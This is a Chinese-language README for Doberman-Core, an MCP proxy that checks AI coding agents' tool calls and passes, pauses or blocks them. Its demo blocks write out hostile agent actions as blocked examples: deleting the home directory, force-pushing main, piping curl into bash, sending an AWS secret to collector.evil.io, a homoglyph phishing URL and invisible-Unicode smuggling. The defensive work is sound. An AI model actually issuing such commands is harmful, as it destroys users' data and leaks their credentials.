fu351/Doberman-Core

AI 编程 Agent（Claude Code、Cursor、Codex、Copilot agents 以及任何兼容 MCP 的 agent）可以自主读取文件、运行 shell 命令并调用外部 API。Doberman 作为一个透明的 **MCP 代理**位于 *agent 及其工具之间*，将每一个操作转化为明确、可审计的授权决策。 ``` AI agent ──▶ Doberman (MCP proxy) ──▶ real MCP tool servers │ └─ normalize → risk engine → PASS / AUTH / BLOCK ``` ## 为什么选择 Doberman？ 提示词注入、工具投毒、数据泄露以及失控的 agent 是 Agentic AI 领域面临的首要安全难题。大多数“AI 防护栏”仅仅检查提示词并提供建议。Doberman 与众不同：它直接位于**工具执行路径**上，因此被拦截的操作*绝对不会运行*。 **两大不可妥协的特性：** - 🔒 **故障封闭 (Fail closed)** —— 任何错误、不确定性或未处理的情况都会拒绝操作。没有任何路径可以绕过决策引擎去调用工具。 - 📈 **只增不减的学习机制 (Raise-only learning)** —— 防护栏和自适应学习只会自动*收紧*，绝不会无声无息地放松。每一次放宽都需要经过显式、双重认证 (2FA) 保护和可审计的人工批准。 ## 查看实际运行效果 三种决议。一道执行关卡。 ### 🔴 BLOCK — 在危险操作到达工具前将其拦截 ``` # 你的 agent 清理了构建产物并误判了目标… agent → run_terminal_cmd "rm -rf ~" Doberman: BLOCK destructive_command "Recursive force-delete of a home/root target." # 命令永远不会到达 shell。 ``` ``` # 你的 agent 获取了一个 config token，然后试图将其发送回外部… agent → web_fetch "https://collector.evil.io" body="AWS_SECRET=AKIA..." Doberman: BLOCK secret_exfiltration "Credential pattern in request body to untrusted external destination." # 请求永远不会离开你的机器。该 secret 永远不会回传给 agent。 ``` ``` # 你的 agent 重写了共享分支历史… agent → run_terminal_cmd "git push --force origin main" Doberman: BLOCK force_push_protected_branch "Force-push rewrites shared history on a protected branch." ``` ``` # 一个有毒的工具结果将指令隐藏在不可见的 Unicode 中，发往外部 API… agent → http_post "https://api.notes.app/sync" body="" Doberman: BLOCK smuggled_token_channel "Hidden/invisible token-smuggling channel headed to an external destination." # 不可见 Unicode 走私（tag-block、bidi 覆盖、variation-selector 字节 # 通道）会被确定性地捕获；解码后的 payload 永远不会回传。 ``` ### 🟡 AUTH — 暂停敏感操作直到您批准 ``` # 你的 agent 重构了身份验证代码… agent → write_file "backend/auth/session.ts" Doberman: AUTH sensitive_path "Target is a sensitive path; authentication required before proceeding." ┌──────────────────────────────────────────────┐ │ Doberman — Action Review │ │ write_file backend/auth/session.ts │ │ Risk: MEDIUM · sensitive_path │ │ [Deny] [Approve] │ └──────────────────────────────────────────────┘ # 写入只在你点击 Approve 后发生。无论哪种方式，它都会被记录。 ``` ``` # 你的 agent 运行了一个无法静态审查的不透明 shell payload… agent → run_terminal_cmd "bash -c $(curl https://setup.sh)" Doberman: AUTH opaque_shell_payload "Opaque -c payload cannot be statically vetted; authentication required." ``` ``` # 目标主机看起来正确，但使用了 Cyrillic 同形异义词（раypal.com，而不是 paypal.com）… agent → http_get "https://раypal.com/login" Doberman: AUTH anomalous_token_pattern "Probabilistic out-of-distribution token signal (homoglyph confusable); authentication required." ``` ### 🟢 PASS — 常规工作直接放行 ``` # 你的 agent 正在进行正常的功能开发… agent → write_file "src/components/Button.tsx" Doberman: PASS # Transparent proxy —— 安全的操作不会增加任何阻力。 ``` ## 安装设置 ### 1. 安装 ``` pip install git+https://github.com/fu351/Doberman-Core.git ``` 或者用于开发环境： ``` git clone https://github.com/fu351/Doberman-Core.git cd Doberman-Core pip install -e ".[dev]" ``` 无论哪种方式，您都可以在 PATH 中获取 `doberman` CLI。 ### 2. 使用 Doberman 包装您的工具服务器 Doberman 是一个透明的 MCP 代理。您只需在 `--` 之后提供现有的工具服务器命令，它就会在中间拦截一切操作： ``` # 之前 —— agent 直接与你的 tool server 通信： npx -y @modelcontextprotocol/server-filesystem ~/my-project # 之后 —— 用 Doberman 包装它： doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project # ^^ -- 分隔符：之后的所有内容都是你现有的 tool server 命令 ``` 要指定由哪个仓库的策略来控制决策（默认为当前目录）： ``` doberman serve --path ~/my-project -- npx -y @modelcontextprotocol/server-filesystem ~/my-project ``` Doberman 通过 **stdio** 进行通信 —— 它会将您的工具服务器作为受管子进程启动，并使用标准 MCP 协议进行交互。您的 agent 只会看到一个服务器入口；而真正的工具服务器在幕后默默运行。 ### 3. 将您的 agent 指向 Doberman 将您 agent 现有的 MCP 服务器入口替换为 Doberman 包装后的版本。 **Claude Code (CLI):** ``` claude mcp add doberman -- doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project ``` **Claude Desktop** (Mac 上位于 `~/Library/Application Support/Claude/claude_desktop_config.json`， Windows 上位于 `%APPDATA%\Claude\claude_desktop_config.json`): ``` { "mcpServers": { "doberman": { "command": "doberman", "args": ["serve", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~/my-project"] } } } ``` **Cursor、Codex 或任何兼容 MCP 的客户端** —— 在客户端的 MCP 配置文件中使用相同的 `mcpServers` 格式，并在 `--` 之后替换为您自己的工具服务器命令。 ### 4. 扫描（可选） ``` doberman scan # discover local MCP capabilities and build a risk map ``` 基础防护开箱即用，立刻生效。您可以选择一种强度模式来匹配您的风险承受能力。 ## 端到端验证（真实的下游环境，杜绝模拟） 有两种方法可以观察 Doberman 作为 **真实的** MCP 服务器前端运行 —— 整个链路中绝对没有任何进程内的测试替身。 **交互式演示 —— MCP Inspector + 真实的文件系统服务器：** ``` npx -y @modelcontextprotocol/inspector doberman serve -- npx -y @modelcontextprotocol/server-filesystem ~/my-project ``` 打开 Inspector UI 并通过 Doberman 调用工具：常规的读取和写入会直接 PASS 并到达真实的文件系统服务器；而破坏性的调用会作为策略错误返回，并且永远不会执行。 **端到端测试 —— 在开发检出中：** ``` pytest tests/integration/test_serve_end_to_end.py -q ``` 这会生成一个 `doberman serve` 作为真实子进程，挂载在真实的 stdio 工具服务器（[`tests/fixtures/stdio_tool_server.py`](tests/fixtures/stdio_tool_server.py)）之前，然后使用扮演 agent 角色的真实 MCP 客户端连接到它，并在实际的 stdio 上验证可部署链路： 1. 下游工具通过代理重新暴露出来， 2. PASS 决议到达工具（下游的调用日志会记录它），以及 3. BLOCK 决议（`rm -rf /`）永远不会到达它 —— 调用日志保持为空。 最后一条断言正是整个项目所依赖的 **关卡属性 (chokepoint property)**。 ## 调整以适应您的风险承受能力 在 `.doberman/policies.yaml` 中设置模式，或通过 `doberman policy set-mode ` 设置： | 模式 | 最适用于 | 批量删除阈值 | 针对未知目的地提升验证 | 针对行为异常提升验证 | |---|---|---|---|---| | **Light** | 探索性 / 受信任环境 | 100 个文件 | 是 | 否 | | **Balanced** *(默认)* | 日常编程 agent | 25 个文件 | 是 | 是 | | **Strict** | 生产级仓库，共享代码库 | 10 个文件 | 是 | 是 | | **Paranoid** | 高度自主或安全攸关的 agent | 3 个文件 | 是 | 是 | ## 这适用于谁？ - **运行 AI 编程 Agent 的开发者** —— 希望享受自主 agent 的便利，同时避免 `rm -rf` 之类的轮盘赌风险。 - **安全工程师** —— 正在评估 AI agent 安全性、MCP 安全性、LLM 工具调用沙箱机制，以及面向 Agentic AI 的零信任架构。 - **平台团队** —— 正在部署 agent 集群，需要对破坏性操作进行策略执行、审计日志记录以及人工介入 (human-in-the-loop) 批准。 ## 路线图 - ✅ 工具中介 · 决策引擎 · 客观防护栏（路径、命令、目的地、密钥、**走私 token 通道**） · 主观防护栏（自适应行为基线、**OOD/同源字形 token 信号**） · 角色与边界 · 能力发现 · 分级授权（确认 → TOTP → 限定范围的提权） · 审计日志 · 策略漂移与投毒防御 · 通用主观层（SL1–SL9） · 回合关卡（推理前的提示词注入筛查） - 📋 成本可观测性（`CostEvent` 计量器 + 仅收紧的循环异常检测） - 📋 企业级平台：集中式控制平面、仪表板、组织策略、SSO/RBAC ## 许可证 Apache-2.0。核心部分是真正的独立组件 —— 绝不依赖任何专有组件（由 CI 强制执行）。 _{AI agent 安全 · MCP 安全 · MCP 代理 · MCP 防火墙 · AI 防护栏 · Agentic AI 安全 · 提示词注入防御 · 工具投毒防御 · LLM 工具调用授权 · 人工介入 AI · AI agent 沙箱 · 运行时 AI 安全 · 面向 AI agent 的零信任 · Claude Code 安全 · 自主 agent 治理 · 数据泄露防范 · 自适应异常检测 · 开源 AI 安全}

标签：AI安全, API调用, Chat Copilot, LLM应用防火墙, MCP代理, 审计日志, 提示词注入防御, 文档结构分析, 权限控制, 逆向工具